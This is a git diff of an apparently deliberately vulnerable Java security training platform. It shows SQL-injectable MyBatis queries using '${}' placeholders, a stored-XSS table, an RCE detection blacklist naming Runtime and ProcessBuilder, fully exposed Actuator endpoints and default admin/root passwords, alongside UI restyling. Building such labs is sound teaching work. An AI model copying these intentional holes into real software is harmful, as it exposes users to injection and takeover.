a/src/main/java/com/best/hello/mapper/UserMapper.java b/src/main/java/com/best/hello/mapper/UserMapper.java index 155f34d..8133848 100644 --- a/src/main/java/com/best/hello/mapper/UserMapper.java +++ b/src/main/java/com/best/hello/mapper/UserMapper.java @@ -1,11 +1,11 @@ package com.best.hello.mapper; import com.best.hello.entity.User; +import com.best.hello.entity.UserIDOR; import org.apache.ibatis.annotations.*; import java.util.List; -// 标识这个类是一个数据访问层的bean,并交给spring容器管理 @Mapper public interface UserMapper { @@ -18,28 +18,32 @@ public interface UserMapper { /** - * MyBatis3提供了新的基于注解的配置,通过注解不在需要配置繁杂的xml文件 + * MyBatis3 提供了新的基于注解的配置,通过注解不在需要配置繁杂的xml文件 */ @Select("select * from users where user like CONCAT('%', #{user}, '%')") - List queryByUser(@Param("user") String user); + List searchSafe(@Param("user") String user); + + // like搜索时使用 '%#{q}%' 会报错,因此容易写成 ${} + @Select("select * from users where user like '%${user}%'") + List searchVul(String user); + + @Select("select * from users where user = #{user}") + List queryByUser2(@Param("user") String user); @Select("select * from users where id = ${id}") - List queryById1(@Param("id") String id); + List queryByIdAsString(@Param("id") String id); @Select("select * from users where id = ${id}") - List queryById2(@Param("id") Integer id); + List queryByIdAsInterger(@Param("id") Integer id); + @Select("SELECT * FROM users WHERE uuid = #{uuid}") + List queryByUuid(@Param("uuid") String uuid); - // 使用#{}会产生报错 - @Select("select * from users order by ${field} desc") - List orderBy2(@Param("field") String field); + // 使用 #{} 会产生报错,因此容易写成 ${} + @Select("select * from users order by ${field} ${sort}") + List orderBy2(@Param("field") String field, @Param("sort") String sort); @Select("select * from users") List list(); - // 模糊搜索,直接'%#{q}%' 会报错 - // 安全代码:@Select("select * from users where user like concat('%',#{q},'%')") - @Select("select * from users where user like '%${q}%'") - List search(String q); - } diff --git a/src/main/java/com/best/hello/mapper/XSSMapper.java b/src/main/java/com/best/hello/mapper/XSSMapper.java new file mode 100644 index 0000000..d8b79fd --- /dev/null +++ b/src/main/java/com/best/hello/mapper/XSSMapper.java @@ -0,0 +1,23 @@ +package com.best.hello.mapper; + +import com.best.hello.entity.XSSEntity; +import org.apache.ibatis.annotations.Delete; +import org.apache.ibatis.annotations.Insert; +import org.apache.ibatis.annotations.Mapper; +import org.apache.ibatis.annotations.Select; + +import java.util.List; + +@Mapper +public interface XSSMapper { + + @Select("select * from xss order by id desc") + List list(); + + + @Delete("delete from xss where id = #{id}") + Integer deleteFeedById(Integer id); + + @Insert("INSERT INTO xss(user, content, date) values(#{user}, #{content}, #{date}) ") + Integer add(String user, String content, String date); +} diff --git a/src/main/java/com/best/hello/util/Security.java b/src/main/java/com/best/hello/util/Security.java index f4fc938..6ba23dc 100644 --- a/src/main/java/com/best/hello/util/Security.java +++ b/src/main/java/com/best/hello/util/Security.java @@ -117,6 +117,17 @@ public static boolean checkSql(String content) { return false; } + /** + * 白名单正则字符串过滤 + */ + public static boolean isValidOrder(String content) { + return content.matches("[0-9a-zA-Z+_]+"); + } + + public static boolean isValidSort(String sort) { + return "desc".equalsIgnoreCase(sort) || "asc".equalsIgnoreCase(sort); + } + /** * 目录遍历检测 */ @@ -150,4 +161,34 @@ public static boolean checkXXE(String content) { return false; } + /** + * 文件上传检测 + */ + public static boolean isValidFileType(String fileName) { + String[] allowedTypes = {"jpg", "jpeg", "png", "gif", "bmp", "ico"}; + String extension = StringUtils.getFilenameExtension(fileName); + if (extension != null) { + for (String allowedType : allowedTypes) { + if (allowedType.equalsIgnoreCase(extension)) { + return true; + } + } + } + return false; + } + + /** + * RCE黑名单正则表达式检测 + */ + public static boolean checkRCE(String content) { + String[] black_list = {"java.+lang", "Runtime", "getRuntime", "ProcessBuilder", "exec.*\\("}; + + for (String regex : black_list) { + if (Pattern.compile(regex).matcher(content).find()) { + return true; + } + } + return false; + } + } \ No newline at end of file diff --git a/src/main/resources/application-dev.properties b/src/main/resources/application-dev.properties new file mode 100644 index 0000000..7a8805d --- /dev/null +++ b/src/main/resources/application-dev.properties @@ -0,0 +1,8 @@ +spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test?serverTimezone=Asia/Shanghai +spring.datasource.username=root +spring.datasource.password=1234567 +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +server.port=8888 +server.address=0.0.0.0 + +server.servlet.session.timeout=72h diff --git a/src/main/resources/application-docker.properties b/src/main/resources/application-docker.properties new file mode 100644 index 0000000..6aad105 --- /dev/null +++ b/src/main/resources/application-docker.properties @@ -0,0 +1,8 @@ +spring.datasource.url=jdbc:mysql://db:3306/test +spring.datasource.username=root +spring.datasource.password=1234567 +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +server.port=8888 +server.address=0.0.0.0 + +server.servlet.session.timeout=72h diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index ac3441e..be2de22 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,19 +1,11 @@ -spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test -spring.datasource.username=root -spring.datasource.password=1234567 -spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver -server.port=8888 -server.address=0.0.0.0 +spring.profiles.active=dev -server.servlet.session.timeout=6h # Actuator设置全部暴露 management.endpoints.web.exposure.include=* #management.endpoints.enabled-by-default=false # 自定义端点 info.author=nul1 info.create=2021-07-10 -info.update=2022-04-28 - # 配置mapper.xml路径 mybatis.mapper-locations=classpath:mapper/*.xml @@ -21,3 +13,13 @@ mybatis.mapper-locations=classpath:mapper/*.xml # 启动日志 server.tomcat.accesslog.enabled=true server.tomcat.basedir=./ +management.health.ldap.enabled=false + +# 默认账号,请及时修改 +local.admin.name = admin +local.admin.password = admin + +# Freemarker 模版配置 +spring.freemarker.template-loader-path=classpath:/templates/ +spring.freemarker.suffix=.ftl +spring.freemarker.charset=UTF-8 diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt index 56097ff..d1b1634 100644 --- a/src/main/resources/banner.txt +++ b/src/main/resources/banner.txt @@ -11,6 +11,6 @@ ->>[======================]->> MMMMMM---==[=Program : Hello Java Sec - MMMMMM---==[=Version : 1.10 - MMMMMM---==[=Update : 2022/12/30 + MMMMMM---==[=Version : 1.15 + MMMMMM---==[=Update : 2024/11/27 MMMMMM---==[=Powered By : nul1 \ No newline at end of file diff --git a/src/main/resources/db.sql b/src/main/resources/db.sql index 71dabd7..6b4cd69 100644 --- a/src/main/resources/db.sql +++ b/src/main/resources/db.sql @@ -1,20 +1,27 @@ CREATE DATABASE IF NOT EXISTS test default charset utf8 COLLATE utf8_general_ci; use test; +-- SQL注入使用的数据 CREATE TABLE `users` ( `id` int(11) unsigned NOT NULL AUTO_INCREMENT, + `uuid` CHAR(36) NOT NULL DEFAULT (UUID()) UNIQUE, `user` varchar(50) NOT NULL, `pass` varchar(128) NOT NULL, - PRIMARY KEY (`id`) + PRIMARY KEY (`id`), + UNIQUE KEY `uuid_unique` (`uuid`) ); INSERT INTO `users` -values (1, 'zhangwei', '123456'); +values (1, UUID(), 'zhangwei', '123456'); + +INSERT INTO `users` +values (2, UUID(), 'Admin', 'password'); INSERT INTO `users` -values (2, 'admin', 'password'); +values (3, UUID(), 'wangwei', '123123'); +-- 登录日志记录 CREATE TABLE `auth` ( `id` int(6) unsigned NOT NULL AUTO_INCREMENT, @@ -22,4 +29,14 @@ CREATE TABLE `auth` `ip` varchar(50) NOT NULL, `date` varchar(60) NOT NULL, PRIMARY KEY (`id`) -) \ No newline at end of file +); + +-- 存储型XSS +CREATE TABLE `xss` +( + `id` int(6) unsigned NOT NULL AUTO_INCREMENT, + `user` varchar(50) NOT NULL, + `content` TEXT NOT NULL, + `date` varchar(60) NOT NULL, + PRIMARY KEY (`id`) +); \ No newline at end of file diff --git a/src/main/resources/static/css/base.css b/src/main/resources/static/css/base.css index 055680d..92f5c63 100644 --- a/src/main/resources/static/css/base.css +++ b/src/main/resources/static/css/base.css @@ -1,96 +1,97 @@ body { font-size: .875rem; + padding-top: 48px; } -/* - * Sidebar - */ +/* Sidebar */ .sidebar { position: fixed; top: 0; bottom: 0; left: 0; - z-index: 100; /* Behind the navbar */ + z-index: 100; padding: 0; box-shadow: inset -1px 0 0 rgba(0, 0, 0, .1); - width: 230px; + width: 208px; +} + +.main { + margin-left: 230px; + transition: margin-left 0.3s; } -.sticky-top { - background-color: #224b8f; +.fixed-top { + background-color: #2c518f; } .sidebar-sticky { - #position: sticky; top: 48px; /* Height of navbar */ - height: calc(100vh - 20px); /* 侧边栏底部 */ - padding-top: 48px; + height: calc(100vh - 20px); /* Sidebar bottom */ + padding-top: 54px; overflow-x: hidden; overflow-y: auto; } -/* 侧边栏字体 */ +/* Sidebar font */ .sidebar .nav-link { - font-weight: 500; color: #AEB7C2; } -/* 侧边栏样式 */ +/* Sidebar style */ .sidebar .nav > li > a { - padding: 9px 25px; /* 上下内边距是 10px,左右内边距是 30px*/ + padding: 10px 10px 10px 15px; color: #AEB7C2; - border-left: 4px solid transparent; /* 左边样式 */ + border-left: 3px solid transparent; } -/* 侧边栏图标 */ +/* Sidebar icon */ .sidebar .nav i { - margin-right: 10px; - font-size: 16px; + margin-right: 8px; + font-size: 15px; } -/* 下拉图标 */ +/* Dropdown icon */ .sidebar .nav > li > a[data-toggle="collapse"] .icon-submenu { display: inline-block; vertical-align: middle; - *vertical-align: auto; - *zoom: 1; - *display: inline; - -webkit-transition: all 0.2s ease-out; - -moz-transition: all 0.2s ease-out; - -ms-transition: all 0.2s ease-out; - -o-transition: all 0.2s ease-out; transition: all 0.2s ease-out; float: right; position: relative; top: 5px; - font-size: 12px; + font-size: 11px; + font-weight: bold; line-height: 1.1; } .sidebar .nav > li > a[aria-expanded="true"] .icon-submenu { transform: rotate(-90deg); + transition: transform 0.3s ease; } .sidebar .nav > li > a[aria-expanded="false"] .icon-submenu { transform: rotate(0deg); + transition: transform 0.3s ease; } - -/* 子菜单 */ +/* Submenu */ .sidebar .nav .nav { background-color: #252c35; } -/* 子菜单布局 */ +/* Submenu layout */ .sidebar .nav .nav > li > a { - padding-left: 50px; + padding-left: 30px; padding-top: 4px; padding-bottom: 6px; - border-left: 4px solid transparent; /* 左边样式 */ + border-left: 3px solid transparent; /* 左边样式 */ +} + +/* Submenu icon */ +.sidebar .nav .nav > li > a > i { + font-size: 14px; } .sidebar .nav .nav > li > a:focus, .sidebar .nav .nav > li > a.active { - #background-color: transparent; border-left-color: transparent; } @@ -98,21 +99,15 @@ body { color: #fff; } - .sidebar .nav span { position: relative; top: -2px; } -/* 激活后的颜色 */ -.sidebar .nav-link.active { - color: white; -} - -/* 鼠标放上去字体颜色变白 */ .sidebar .nav > li > a:hover, .sidebar .nav > li > a:focus, .sidebar .nav > li > a.active { color: #fff; background-color: transparent; + border-left-color: #00aaff; } .sidebar .nav .nav > li > a:hover, .sidebar .nav .nav > li > a:focus, .sidebar .nav .nav > li > a.active { @@ -121,87 +116,132 @@ body { border-left-color: transparent; } -/* 鼠标放上去图标变蓝 */ .sidebar .nav > li > a:hover i, .sidebar .nav > li > a:focus i, .sidebar .nav > li > a.active i { color: #00AAFF; } -/* 鼠标放上去left变蓝*/ .sidebar .nav > li > a:hover { border-left-color: #00AAFF; } -/* 激活后的背景样式 */ .sidebar .nav > li > a:focus, .sidebar .nav > li > a.active { background-color: #252c35; border-left-color: #00AAFF; } - -/* 面板 */ -.border-top { +.border-top, .border-bottom { border-top: 1px solid #e5e5e5; } -.border-bottom { - border-bottom: 1px solid #e5e5e5; -} - -.main { - margin-left: 10px; -} - .box-float { width: 100%; - margin-top: 40px; } .box-float .float1 { - width: 47%; + width: 49%; float: left; - margin-bottom: 120px + margin-bottom: 100px } .box-float .float2 { - width: 47%; - margin-right: 15px; - margin-bottom: 120px; + width: 48%; + margin-bottom: 100px; float: right; } .vul_header span { - font-size: 20px; - font-weight: 10; + font-size: 19px; + font-weight: 350; } -.vul_header a { +.header_link { float: right; - margin-right: 10px; } -/* - * 漏洞描述 - */ -.dec { - font-size: 15px; -/ / background-color: #cee1f3; - background-color: #dce9f8; +.alert-desc { + background: rgb(250, 250, 250); + margin-bottom: 1px; + font-size: 14px; + color:#676767; + border-radius: 0 0 6px 6px; } -/* 标签 */ -.nav-tabs .nav-link { - font-size: 15px; +.alert-challenge { + background: rgb(255, 255, 255); + margin-bottom: 40px; + border: 1px solid rgba(0, 0, 0, 0.1); + padding-top: 14px; + padding-bottom: 18px; } -.nav-tabs a.active.nav-link { -/ / background-color: #dce9f8; +.alert-upload { + border: 1px solid rgba(0, 0, 0, 0.1); + padding: 14px; } -/* 编码建议 */ #coder { - background-color: #dce9f8; - border: 0; + background-color: rgb(245, 247, 252); + border: none; height: 180px; - font-size: 15px; + font-size: 14px; +} + +.card-padding { + /*padding-left: 13%;*/ + padding-right: 50%; +} + +.card { + margin-bottom: 35px; +} + +.card-xss { + margin-bottom: 10px; +} + +.alert-box { + background: rgb(244, 246, 249); +} + +.dropdown-toggle::after { + color: white; +} + + +#flag::placeholder { + font-size: 14px; + color: #808080; +} + +.run-btn { + display: inline-flex; + align-items: center; + justify-content: center; + padding: 0.2rem 0.5rem; + font-size: 0.8rem; + transition: all 0.2s ease-in-out; + outline: none; + box-shadow: none; + float: right; +} + +.run-btn:hover { + transform: translateY(-3px); + box-shadow: 0 4px 6px rgba(0, 0, 0, 0.15); +} + +.run-btn svg { + margin-right: 0.2rem; +} + +.run-btn:focus { + box-shadow: none; +} + +.badge-new { + background-color: red; + font-size: 9px; + padding: 2px 5px; + color: white; } diff --git a/src/main/resources/static/css/signin.css b/src/main/resources/static/css/signin.css index 3846881..48a40fd 100644 --- a/src/main/resources/static/css/signin.css +++ b/src/main/resources/static/css/signin.css @@ -1,3 +1,4 @@ + .body-signin { display: flex; -ms-flex-align: center; @@ -6,30 +7,23 @@ align-items: center; -webkit-box-pack: center; justify-content: center; - #background-image: url("/img/banner.png"); +} + +.form-control:focus { + box-shadow: none; } .form-signin { width: 100%; - #max-width: 400px; + /*max-width: 400px;*/ padding: 45px; - #margin: 0 auto; - margin-top: 100px; + /*margin: 0 auto;*/ + margin-top: 45px; box-shadow: 0 0 15px 12px #ececec; border-radius: 20px; } -.form-signin .form-group i { - position: absolute; - top: 12px; - left: 60px; - font-size: 17px; - color: #c8c8c8; - transition: all 0.5s ease 0s; -} - .form-signin .checkbox { - font-weight: 400; text-align: left; } @@ -41,23 +35,28 @@ font-size: 14px; } - -.form-signin input[type="username"] { - margin-bottom: -1px; - border-radius: 0; +.form-signin .form-group { + width: 300px; } -.form-signin input[type="password"] { - margin-bottom: 15px; -} - - -.form-signin img { +.form-signin .logo { width: 48px; - height: 44px; + height: 42px; + vertical-align: text-top; + margin-bottom: 12px; } .form-signin p { color: red; } + +.input-group:focus-within i { + color: #0889b2; +} + +.footer { + margin-top: 40px; + margin-bottom: 10px; + color: rgb(128, 128, 128); +} diff --git a/src/main/resources/static/img/favicon.png b/src/main/resources/static/img/favicon.png new file mode 100644 index 0000000..8293c58 Binary files /dev/null and b/src/main/resources/static/img/favicon.png differ diff --git a/src/main/resources/templates/actuator.html b/src/main/resources/templates/actuator.html index 9d71e98..9f7905e 100644 --- a/src/main/resources/templates/actuator.html +++ b/src/main/resources/templates/actuator.html @@ -11,41 +11,52 @@
-
-
- Actuator未授权访问 - 漏洞案例 -
-
- - -
-
- Actuator, 是Spring - Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。 +
+
+
+
+ Actuator未授权访问 + + +
-
- +
+ + +
+
+
+ Actuator是Spring + Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。 +
+
+
+
+
  • 【建议】
  • + 禁止对互联网开放不安全的接口 +
    +
    +
    -
    -
    - 运行 + + + + + Run
    错误配置
    diff --git a/src/main/resources/templates/bac.html b/src/main/resources/templates/bac.html deleted file mode 100644 index d0b3a91..0000000 --- a/src/main/resources/templates/bac.html +++ /dev/null @@ -1,90 +0,0 @@ - - -
    - - - -
    - -
    -
    - -
    - -
    -
    - 越权访问 - 漏洞案例 -
    -
    - - -
    -
    - 失效的访问控制(Broken Access - Control),应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。 -
    -
    - -
    -
    - -
    - -
    -
    - 运行 -
    漏洞代码
    - - -
    - -
    - 运行 -
    安全代码
    - -
    -
    -
    -
    -
    - - -
    - - - - - \ No newline at end of file diff --git a/src/main/resources/templates/captcha_vul.html b/src/main/resources/templates/captcha_vul.html index 0e28555..37c7997 100644 --- a/src/main/resources/templates/captcha_vul.html +++ b/src/main/resources/templates/captcha_vul.html @@ -11,59 +11,84 @@
    -
    -
    - 验证码复用 -
    -
    - - -
    -
    - 验证码反复利用,可以直接进行暴力破解。(这是一类常见的安全问题)
    - 一般来说,验证码是与Session绑定的,Session生成时,也伴随着验证码的生成和绑定,在访问页面时,接口的请求和验证码的生成通常是异步进行的,这使得两个功能变得相对独立。也就意味着我们如果仅请求接口,而不触发验证码的生成,那么验证码就不会变化。 - - 并且在考虑安全时,开发人员的关注点往往在 验证码校验 是否通过,通过则进入业务流程,不通过则重新填写,而忽视了这个用户是否按照既定的业务流程在走(接口访问与验证码生成是否同时进行),验证码是否被多次使用了。 +
    +
    +
    +
    + 验证码复用 + + 漏洞案例 + wiki + +
    -
    - 不管验证码是不是输入正确,都应该及时销毁验证码。 +
    + + +
    +
    +
    + 验证码反复利用是指攻击者利用已经获取的验证码进行暴力破解或者恶意访问,从而绕过验证码的验证机制。
    + 一般来说,验证码是与Session绑定的,Session生成时,也伴随着验证码的生成和绑定,在访问页面时,接口的请求和验证码的生成通常是异步进行的,这使得两个功能变得相对独立。也就意味着我们如果仅请求接口,而不触发验证码的生成,那么验证码就不会变化。 + + 并且在考虑安全时,开发人员的关注点往往在验证码校验 + 是否通过,通过则进入业务流程,不通过则重新填写,而忽视了这个用户是否按照既定的业务流程在走(接口访问与验证码生成是否同时进行),验证码是否被多次使用了。 +
    +
    +
    +
    + 不管验证码是不是输入正确,都应该及时销毁验证码。 +
    +
    +
    -
    -
    - 运行 + + + + + Run
    漏洞代码
    - 运行 + + + + + Run
    安全代码
    diff --git a/src/main/resources/templates/commons/404.html b/src/main/resources/templates/commons/404.html new file mode 100644 index 0000000..3fb4494 --- /dev/null +++ b/src/main/resources/templates/commons/404.html @@ -0,0 +1,43 @@ + + + + + +
    +
    + +
    +
    +                               ...
    +                             ;::::;
    +                           ;::::; :;
    +                         ;:::::'   :;
    +                        ;:::::;     ;.
    +                       ,:::::'       ;           OOO\
    +                       ::::::;  -  - ;          OOOOO\
    +                       ;:::::;       ;         OOOOOOOO
    +                      ,;::::::;     ;'         / OOOOOOO
    +                    ;:::::::::`. ,,,;.        /  / DOOOOOO
    +                  .';:::::::::::::::::;,     /  /     DOOOO
    +                 ,::::::;::::::;;;;::::;,   /  /        DOOO
    +                ;`::::::`'::::::;;;::::: ,#/  /          DOOO
    +                :`:::::::`;::::::;;::: ;::#  /            DOOO
    +                ::`:::::::`;:::::::: ;::::# /              DOO
    +                `:`:::::::`;:::::: ;::::::#/               DOO
    +                 :::`:::::::`;; ;:::::::::##                OO
    +                 ::::`:::::::`;::::::::;:::#                OO
    +                 `:::::`::::::::::::;'`:;::#                O
    +                  `:::::`::::::::;' /  / `:#
    +                   ::::::`:::::;'  /  /   `#
    +
    +                      
    +      
    +
    +
    +
    + + +
    + + + \ No newline at end of file diff --git a/src/main/resources/templates/commons/commons.html b/src/main/resources/templates/commons/commons.html index e34b918..0a3bd3a 100644 --- a/src/main/resources/templates/commons/commons.html +++ b/src/main/resources/templates/commons/commons.html @@ -8,7 +8,8 @@ - Java 漏洞平台 + Java Security + @@ -41,29 +42,37 @@ --> -